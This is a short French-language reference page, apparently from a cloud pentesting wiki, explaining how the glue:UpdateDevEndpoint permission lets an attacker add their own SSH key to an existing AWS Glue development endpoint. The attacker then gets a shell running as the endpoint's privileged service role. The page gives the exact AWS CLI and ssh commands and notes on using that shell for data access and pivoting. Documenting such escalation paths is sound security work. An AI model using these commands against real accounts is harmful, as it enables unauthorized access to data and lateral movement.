UpdateDevEndpoint

glue:UpdateDevEndpoint pour pousser une clé publique SSH vers un development endpoint Glue exécutant un rôle privilégié et obtenir un shell.

1 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Un development endpoint Glue est une instance de longue durée qui s'exécute avec un rôle de service Glue. glue:UpdateDevEndpoint vous permet d'ajouter une clé publique SSH à un endpoint existant, puis de vous y connecter en SSH et d'opérer en tant que ce rôle, sans aucun PassRole.

Ajouter votre clé et se connecter#

bash
aws glue update-dev-endpoint --endpoint-name <endpoint> \
  --add-public-keys "$(cat ~/.ssh/id_ed25519.pub)"
# then SSH to the endpoint's public address as the glue user
ssh glue@<endpoint-address>
#   aws sts get-caller-identity   (runs as the Glue role)

Notes d'exploitation#

  • L'endpoint doit déjà exister ; c'est la variante « mise à jour » du chemin de création Glue PassRole.
  • Les rôles de service Glue portent fréquemment un large accès S3 et Data Catalog, de sorte que le shell constitue une solide position d'accès aux données et de pivot.

Outils#

  • AWS CLI (glue update-dev-endpoint).
  • Pacu : modules Glue.

Références#